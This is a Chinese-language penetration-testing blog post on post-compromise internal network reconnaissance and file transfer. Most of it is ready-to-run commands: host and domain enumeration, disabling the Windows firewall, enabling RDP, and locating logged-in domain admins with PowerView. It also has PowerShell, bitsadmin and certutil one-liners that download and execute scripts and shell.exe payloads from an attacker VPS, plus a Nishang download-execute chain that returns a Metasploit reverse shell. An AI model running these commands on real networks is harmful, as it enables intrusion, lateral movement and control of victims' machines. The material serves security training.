全国未成年人思想道德建设网站,网络广告推广计划方案,河南省新闻出版学校,番禺区网站建设哪家好内网渗透测试#xff1a;内网信息收集与上传下载 天府云创 2020-07-28 17:12:04 2338 收藏 1
分类专栏#xff1a; 网络安全
版权 隐藏通讯隧道技术的运用#xff0c;那其实都是渗透测试的后话#xff0c;接下来要讲的信息收集才是内网渗透的基础。
可以说内网渗透测试…内网渗透测试内网信息收集与上传下载 天府云创 2020-07-28 17:12:04 2338 收藏 1
分类专栏 网络安全
版权 隐藏通讯隧道技术的运用那其实都是渗透测试的后话接下来要讲的信息收集才是内网渗透的基础。
可以说内网渗透测试其本质就是信息收集。信息收集的深度直接关系到内网渗透测试的成败。当你拿下内网的一台主机后面对的是一片未知的区域所以首先要做的就是对当前所处的网络环境进行判断。包括以下几点 对当前机器角色的判断 对当前机器所处的网络环境进行判断 对当前机器所处的网络区域进行判断 本机信息收集
查看当前用户、权限
whoami
whoami /all // 查看当前域并获取域SID
当前域为god当前域的sid为S-1-5-21-2952760202-1353902439-238178089域用户administrator的sid为S-1-5-21-2952760202-1353902439-238178089-500。
查看网络配置情况
ipconfig /all // 查询本机IP段所在域等
route print // 打印路由信息
arp -a // 查看arp缓存可以发现内网主机
查看操作系统信息
systeminfo
执行以下命令直接查看操作系统及版本
systeminfo | findstr /B /C:OS Name /C:OS Versionsysteminfo | findstr /B /C:OS 名称 /C:OS 版本 // 中文操作系统
查看系统体系结构
echo %PROCESSOR_ARCHITECTURE% 查看安转的软件及版本信息
wmic product get name,version查看本地用户列表
net user // 查看本地用户
net localgroup administrators // 查看本地管理员组通常包含域用户
net user xxx // 查看指定用户详细信息
列出本地计算机与所连接的客户端主机之间的会话
net session
查看补丁列表
systeminfo
wmic qfe get Caption,Description,HotFixID,InstalledOn
注意域内主机的补丁通常是批量安装的通过查看本机补丁列表就可以批量找到内网未打补丁的漏洞。
查看本机共享
net share
wmic share get name,path,status 查看本机进程
tasklist
wmic process
wmic process list brief
wmic process get processid,executablepath,name // 显示进程的路径、名称、pid
查看本机服务
wmic service list brief 查看自启程序列表
wmic startuo get command,caption
查看端口信息
netstat -ano
可以看到当前主机端口开放与使用情况、与哪些主机建立了连接。
查看主机开机时间
net statistics workstation
查看计划任务
schtasks /query /fo LIST /v // query显示所有计划任务 防火墙相关操作
netsh firewall show state // 防火墙状态
netsh firewall show config // 查看防火墙配置
netsh firewall set opmode disable // 关闭防火墙windows server 2003及以前
netsh advfirewall set allprofiles state off // 关闭防火墙windows server 2003以后
修改防火墙配置
netsh firewall add allowedprogram c:\\xxx\\xx.exe allow xx enable // 允许指定程序的全部连接windows server 2003及以前windows server 2003之后
netsh advfirewall firewall add rule namepass xx dirin actionallow programC:\xxx\xx.exe // 允许某个程序连入
netsh advfirewall firewall add rule namepass xx dirout actionallow programC:\xxx\xx.exe // 允许某个程序外连
netsh advfirewall firewall add rule nameRemote Desktop protocolTCP dirin localport3389 actionallow // 开启3389端口允许改端口放行
开启远程桌面连接
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /fREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
自动化的信息收集脚本
下载地址http://www.fuzzysecurity.com/scripts/files/wmic_info.rar
该脚本可以在目标机器上面完成服务。用户列表用户组、网络接口、硬件信息、网络共享信息、操作系统、安装的补丁、安装的软件、自启程序、时区等信息的查询工作。其利用WMIC来收集信息。执行脚本后,会将所有结果写入一个HTML文件如下图所示 域内信息收集
判断是否存在域
net config workstation // 查看当前计算机名全名用户名系统版本工作站域登陆的域等
net view /domain // 查看域
上图中“工作站DNS名称”为域名若为WORKGROUP则表示当前不是域环境登录域为当前登陆的域。
systeminfo 如上图“域”即域名如果为WORKGROUP则表示当前不是域环境机器不在于内。
查看主域控制器
net time /domain // 主域服务器会同时作为时间服务器
可知当前主域为owa。
net group domain controllers /domain // 查看域控制器组 nltest /DCLIST:god // 查看域控制器主机名god为域名
定位域控制器
我们已经知道了与控制器的名称接下来就要定位域控制器的ip地址了。
ping owa.god.org // owa为域控制器名
如上图得到域控的ip为192.168.52.138。
列出域信任关系
nltest /domain_trusts 列出域与域之间的信任关系
查看域内用户组列表
net group /domain Domain Admins 域管理员组 Domain Computers 域内的机器 Domain Controllers 域控制器 Domain Users 域用户 Enterprise Admins 企业系统管理员组 查看所有的域成员主机机器用户不包括域控 查看域管理员组
如上图可以得到域管理员用户有administrator和owa$。
net group Enterprise Admin /domain 获取域密码信息
net accounts /domain 查看域用户信息
net user /domain // 查看域用户
net user xxx /domain // 查看指定域用户详细信息
获取域内用户详细信息
wmic useraccount get /all
如上图可以获取到域用户的用户名、描述信息、SID、域名、状态等。
域内端口扫描
我们在内网渗透中通过查看域内目标主机的端口开放情况来了解目标主机上的服务通过其服务版本还可以找到其开放服务的漏洞。我们可以使用metasploit内置的端口扫描模块也可以上传端口扫描工具进行扫描。在扫描时注意以下几点
端口的banner信息端口上运行的服务
利用telnet工具进行端口扫描
Telnet是进行远程登录的标准协议和主要方式它为用户提供了在本地计算机上完成远程主机工作的能力。可以用telnet命令来测试端口号是否正常打开还是关闭状态。使用时需要目标主机在“添加删除程序”里面的“打开或关闭windows功能”里面开启telnet功能然后你再去CMD的命令行里面输入telnet就没有问题了 telnet 主机 端口
telnet 192.168.52.138 445 出现连接失败代表对方端口没有打开。
PowerSploit 中的Invoke-portscan.ps1脚本
下载地址https://github.com/PowerShellMafia/PowerSploit
powershell -nop -exec bypass -c IEX(New-Object Net.WebClient).DownloadString(http://39.xxx.xxx.210/powersploit/Recon/Invoke-Portscan.ps1);Invoke-Portscan -Hosts 192.168.1.1/24 -T 4 -ports 445,1433,8080,80,3389// 或者扫描全部的端口-Ports 1-65535 Nishang 中的Invoke-portscan.ps1脚本
下载地址https://github.com/samratashok/nishang
该脚本可用于发现主机、解析主机名、扫描端口。
powershell -nop -exec bypass -c IEX(New-Object Net.WebClient).DownloadString(http://39.xxx.xxx.210/nishang/Scan/Invoke-PortScan.ps1);Invoke-PortScan -StartAddress 192.168.1.1 -EndAddress 192.168.1.255 -ResolveHost -Port 1-65535// -ResolveHost解析主机名 Nmap扫描
这个工具就不用说了在侵入内网后挂上代理直接对内网主机扫描即可也是我最常用的一个。详情见我的文章《内网渗透测试隐藏通讯隧道技术》
Metasploit 端口扫描模块
Metasploit中提供了很多内置的扫描模块使用方便在侵入内网后设置好路由直接扫即可有时速度有些慢。几个常用的
auxiliary/scanner/portscan/ack
auxiliary/scanner/portscan/syn
auxiliary/scanner/portscan/tcp
收集域内端口的banner信息
banner信息表示“欢迎语”其中会包含一些敏感信息在banner信息中可以获取到软件开发商、软件名称、服务类型、版本号等而版本号信息有时会存在公开的CVE可以利用。获取到版本号后可以在中查找到对应的CVE编号并在ExploitDB等平台上面找到相关的利用方式。
使用Nmap获取banner
nmap IP地址 --scriptbanner -p 端口/端口范围 666口好像是个木马
使用nc获取banner
nc -nv IP地址 端口
探测内网主机存活
使用Metasploit模块
Metasploit中提供了很多内置的内网存活主机扫描模块使用方便在侵入内网后设置好路由直接扫即可有时速度有些慢。几个常用的
auxiliary/scanner/portscan/tcp
auxiliary/scanner/discovery/arp_sweep // 基于arp的主机发现
auxiliary/scanner/discovery/empty_udp
auxiliary/scanner/discovery/udp_probe
auxiliary/scanner/discovery/udp_sweep
利用NetBIOS快速扫描内网存活
Netbios网络基本输入输出系统它提供了OSI模型中的会话层服务让在不同计算机上运行的不同程序可以在局域网中互相连线以及分享数据。严格来说Netbios是一种应用程序接口(API)系统可以利用WINS服务、广播及Lmhost文件等多种模式将NetBIOS名解析为相应IP地址几乎所有的局域网都是在NetBIOS协议的基础上工作的。NetBIOS也是计算机的标识名称主要用于局域网内计算机的互访。NetBIOS的工作流程就是正常的机器名解析查询应答过程。在Windows操作系统中默认情况下在安装 TCP/IP 协议后会自动安装NetBIOS。
nbtscan.exe是一个命令行工具用于扫描本地或远程TCP/IP网络上的开放NetBIOS名称服务器。
下载地址https://github.com/MrAnonymous-1/nbtscan
将nbtscan.exe上传到目标主机上然后直接输入ip段即可运行扫描
nbtscan.exe 192.168.1.0/24 扫描两个网段 SHARING该主机存在正在运行的文件和打印共享服务 DC该机器可能是域控制器 ?没有识别处该机器的NetBIOS资源 利用Ping探测内网主机存活ICMP
for /L %I in (1,1,254) DO ping -w 1 -n 1 192.168.52.%I | findstr TTL 基于ARP的主机探测
利用arp-scan.exe工具。
下载地址https://github.com/MrAnonymous-1/arp-scan
将对应系统版本的arp-scan上传到目标主机上执行如下命令
arp-scan.exe -t IP段 Nmap扫描
这个工具就不用说了在侵入内网后挂上代理直接对内网主机扫描即可。
定位域管理员 在一个域中当计算机加入域后会默认给域管理员组赋予本地系统管理员权限。也就是说当计算机被添加到域中成为域的成员主机后系统会自动将域管理员组添加到系统管理员组中。因此域管理员组的成员均可以访问本地计算机且具备完全控制权限。 我们在渗透中常常使用各种工具来获取当前域管理员在线登录的机器入侵此机器然后迁移到域管理登陆所在的进程便拥有了域管理的权限。定位域内管理员的常规方法一是日志二是会话。
利用 psloggedon.exe
下载地址https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon
psloggedon.exe可以查看本地登陆的用户和通过本地计算机或远程计算机资源登陆的用户。如果指定的是用户名而不是机器名psloggedon.exe会搜索网上邻居中的所有计算机并显示该用户是否已经登录。该工具的某些功能需要管理员权限。
psloggedon.exe [-] [-l] [-x] [\\computername或username]
查看登陆过OWA(域控)机器的用户 查看本地登陆的用户 指定用户名在网络中查找指定用户登陆的计算机 \\computername指定要为其列出登录信息的计算机的名称username指定用户名在网络中搜索该用户登陆的计算机
利用 PVEFindADUser.exe
下载地址https://github.com/chrisdee/Tools/tree/master/AD/ADFindUsersLoggedOn
PVEFindADUser.exe 可用于查找活动目录用户登陆的位置、枚举域用户以及查找在特定计算机上登陆的用户包括查找本地用户。通过RDP远程桌面登陆的用户、通过运行服务和计划任务的用户。运行该工具需要计算机配置.NET Framework 2.0 环境并需要有管理员权限。 PVEFindADUser.exe 参数
我们一般直接运行pvefinaduser.exe -current命令即可显示域中所有计算机上当前登陆的所有用户。
显示域中所有计算机上当前登陆的所有用户 显示指定用户登陆的计算机
具体参数
current[username]如果仅指定了-current参数将获取目标计算机上当前登录的所有用户。如果指定了用户名(Domain\Username)则显示该用户登陆的计算机
其他参数
-target用于指定要查询的主机。如果未指定此参数将查询当前与内所有主机
利用 PowerView.ps1 脚本
下载地址https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
powerview脚本可以用来获取当前域管理员在线登录的服务器其依赖powershell和wmi在powersploit工具包中是一个收集域信息很好用的脚本。
Invoke-UserHunter搜索本地域中域管理员当前在线的主机并验证当前用户是否具有对这些主机的本地管理员访问权限。它可以使用 Get-NetSessions 和Get-NetLoggedon 扫描每台服务器并对扫描结果进行比较从而找出目标用户集并且无需管理员权限。
如下可以看到本地域有两个域管理员
我们通过Invoke-UserHunter等于Invoke-UserHunter -CheckAccess来定位他们
powershell.exe -exec bypass IEX(New-Object Net.WebClient).DownloadString(http://39.xxx.xxx.210/powersploit/Recon/PowerView.ps1);Invoke-UserHunter
详情请执行Get-Help Invoke-UserHunter命令查看具体使用方法与前两个相似它可以找到域内特定的用户群接受用户名、用户列表和域组列表查询接受一个主机列表或查询可用的主机域名。一切都是灵活的让你自己定义找寻谁在哪里找。
获取指定用户在线机器 PowerView是个非常强大、好用的内网渗透脚本PowerView的其他命令请查看官方文档。
渗透中的文件上传与下载
有时候我们在拿下一台机器的控制权后需要在这台主机上上传一些东西有时还需要将目标机上的文件下载下来。我总结了一下几种方式。
利用Powershell进行文件上传
# 下载脚本并在内存中执行
powershell -nop -exec bypass -c IEX(New-Object Net.WebClient).DownloadString(http://39.xxx.xxx.210/xxx.ps1) # 下载文件到指定目录
powershell (new-object system.net.webclient).downloadfile(http://39.xxx.xxx.210/shell.exe,d:/test.exe)# 下载文件到当前目录
powershell (new-object system.net.webclient).downloadfile(http://39.xxx.xxx.210/test.exe,test.exe)
利用Nishang实现文件上传
Download_Execute是Nishang中一个下载执行脚本它在实战中最常用的功能就是下载一个文本文件然后将其转换为exe可执行文件执行。
第一步首先攻击者在本地用Nishang中的exetotext.ps1脚本将exe可执行文件更改为文本文件这里我们的exe为msf生成的shell.exe
powershell -nop -exec bypass -c IEX(New-Object Net.WebClient).DownloadString(http://39.xxx.xxx.210/nishang/Utility/ExetoText.ps1);ExetoText c:\shell.exe c:\shell.txt 之后将生成的shell.txt放到vps上面然后在目标主机上面用Download_Execute脚本下载改shell.txt将其转化为exe后执行
powershell -nop -exec bypass -c IEX(New-Object Net.WebClient).DownloadString(http://39.xxx.xxx.210/nishang/Execution/Download_Execute.ps1);Download_Execute http://39.xxx.xxx.210/shell.txt 此时正在监听的msf上反弹回了shell 利用bitsadmin命令上传文件
bitsadmin 可以用来在windows 命令行下下载文件。bitsadmin是 windows 后台智能传输服务的一个工具windows 的自动更新补丁之类的下载就是用这个工具来实现的。Windows Server2003和XP是没有bitsadmin的Winc7及其之后的机器才有。bitsadmin 可以在网络不稳定的状态下下载文件出错会自动重试可靠性应该相当不错。
如下我们利用bitsadmin就可以网目标主机上上传一个文件将位于外网的文件下载到目标主机上
bitsadmin /transfer 任务名 remote_url local_namebitsadmin /transfer shell http://39.xxx.xxx.210/shell.exe c:\users\Liu Sir\shell.exe // 任务名 可以随意起保存文件的文件路径必须是已经存在的有权限的目录否则不能下载。
在bitsadmin下载速度过慢的时候可以使用setpriority xxx foreground设置任务xxx为最高优先级来提速
先执行
start bitsadmin /transfer shell http://39.xxx.xxx.210/shell.exe c:\users\Liu Sir\shell1.exe
再执行
bitsadmin /setpriority shell foreground 利用certutil命令上传文件
在Win7及其以后的机器都可以使用。但该命令可能会被杀软查杀
certutil -urlcache -split -f http://39.xxx.xxx.210/shell.exe // 下载文件到当前目录下certutil -urlcache -split -f http://39.xxx.xxx.210/shell.exe c:/users/Liu Sir/shell.exe // 下载文件到指定目录下 利用FTP协议进行上传下载
我们要做的是在自己的vps上面配置好FTP服务器就可以在目标机上通过ftp命令完成文件的上传下载了。 常用的 FTP 命令 open ftp服务器地址连接指定的FTP服务器 cd进入指定的目录 put/send 本地文件 远程目录将目标机器本地文件上传到服务器远程目录 // send和put方法用法都基本相同但是上传速度send却要比put快很多 get 远程文件 本地目录将ftp服务器上的文件下载到本地目标机器中 利用Debug向目标主机上传文件
DEBUG是一个DOS实用程序是供程序员使用的程序调试工具可以用它检查内存中任何地方的字节以及修改任何地方的字节。它可以用于逐指令执行某个程序以验证程序运行的正确性也可以追踪执行过程、比较一个指令执行前后的值以及比较与移动内存中数据的范围读写文件与磁盘扇区。
我们利用Debug向目标主机上传文件的原理就是先将需要上传的exe文件转换为十六进制hex的格式将hex的内容复制再通过echo命令将hex内容写入到目标主机上的一个文件中最后利用debug将hex内容编译成exe文件。
接下来我们将nc.exe工具利用debug上传至目标主机。
我们使用kali中的exe2bat.exe工具位于/usr/share/windows-binaries目录下将二进制的nc.exe转换成16进制的表示由于exe2bat是windows程序所以在kali上我们要用wine来执行linux是不能运行window下的可执行文件的必须借助于wine
wine exe2bat.exe nc.exe nc.txt 生成一个nc.txt文件 exe2bat会把所有代码都生成好因为本来exe2bat就是用来生成bat的复制好这些代码在目标机shell上一条一条的执行到倒数第三行即可将nc.exe的十六进制代码格式写入一个123.hex文件最后两行要在debug上操作 因为文件比较大我就只演示性的复制几条
然后到就debug了把nc.txt的倒数第二行粘贴到windows的shell里面执行即123.hex作为输入传输给debug即依次执行一下两条命令
debug123.hex
copy 1.dll nc.exe
执行后会依次在目标机上生成1.dll和nc.exe。
使用该方法时注意exe2bat.exe只支持小于64KB的文件。 参考 https://blog.csdn.net/weixin_42998420/article/details/83270171 https://www.cnblogs.com/w0x68y/p/12217082.html https://www.cnblogs.com/catt1e/p/12723278.html https://www.secpulse.com/archives/32859.html https://www.freebuf.com/articles/network/100788.html 《内网安全攻防渗透测试实战指南》 Ending......
信息收集在内网渗透中非常重要一般来说手机的信息越多越好打好信息收集这一基础可以让测试者选择合适和准确的渗透测试攻击方式缩短渗透测试的时间。通常这个阶段占据整个渗透测试时间的40%~60%。
当然我所总结的这些远远不够还需在日后的实践中多多学习。